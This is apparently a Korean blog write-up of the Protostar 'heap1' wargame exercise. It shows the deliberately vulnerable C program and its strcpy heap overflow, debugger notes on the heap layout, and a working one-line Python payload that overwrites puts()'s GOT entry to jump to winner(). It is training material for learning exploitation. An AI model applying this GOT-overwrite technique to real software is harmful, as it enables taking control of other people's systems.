https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/
PLT와 GOT 자세히 알기 1
Dynamic Linking 과정을 추적해 PLT와 GOT를 이해해보자 :) 시스템 해킹을 공부하시는 분들이라면 PLT와 GOT에 대해 알고 있을 것입니다. 이제 막 시스템 해킹 공부를 시작한 분들도 한 번 쯤 들어보셨을
bpsecblog.wordpress.com
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct internet {
int priority;
char *name;
};
void winner()
{
printf("and we have a winner @ %d\n", time(NULL));
}
int main(int argc, char **argv)
{
struct internet *i1, *i2, *i3;
i1 = malloc(sizeof(struct internet));
i1->priority = 1;
i1->name = malloc(8);
i2 = malloc(sizeof(struct internet));
i2->priority = 2;
i2->name = malloc(8);
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
printf("and that's a wrap folks!\n");
}
name 멤버 변수에 argv[1], argv[2]의 값을 strcpy() 함수로 복사하고있다.
strcpy() 함수에서 힙 오버플로우가 발생
malloc 이후 break point 설정
x/x $eax
=> 0x804a008
<main+161>부분에 break point를 걸어주고 값을 넣고 heap의 상태를 보자
0x0804a018부분은 i1->name이고 0x0804a038은 i2->name이다.
printf() 함수가 최적화 때문에 puts() 함수로 패치되었다.
puts()함수의 got를 구해 puts() 함수의 got가 winner() 함수를 호출하도록 바꿔주면된다.
페이로드는 dummy[20] + got + winner() 함수 주소
즉 NOP(20) + puts GOT, 0x8049774) + 0x8048494(winner)
./heap1 $(python -c 'print "\x90" * 20 + "\x74\x97\x04\x08"') $(python -c 'print "\x94\x84\x04\x08"')
'시스템' 카테고리의 다른 글
eprotostar heap1 (0) | 2025.01.31 |
---|---|
protostar net0 (0) | 2025.01.30 |
protostar heap0 (0) | 2025.01.30 |
protostar format3 (0) | 2025.01.30 |
protostar format2 (0) | 2025.01.29 |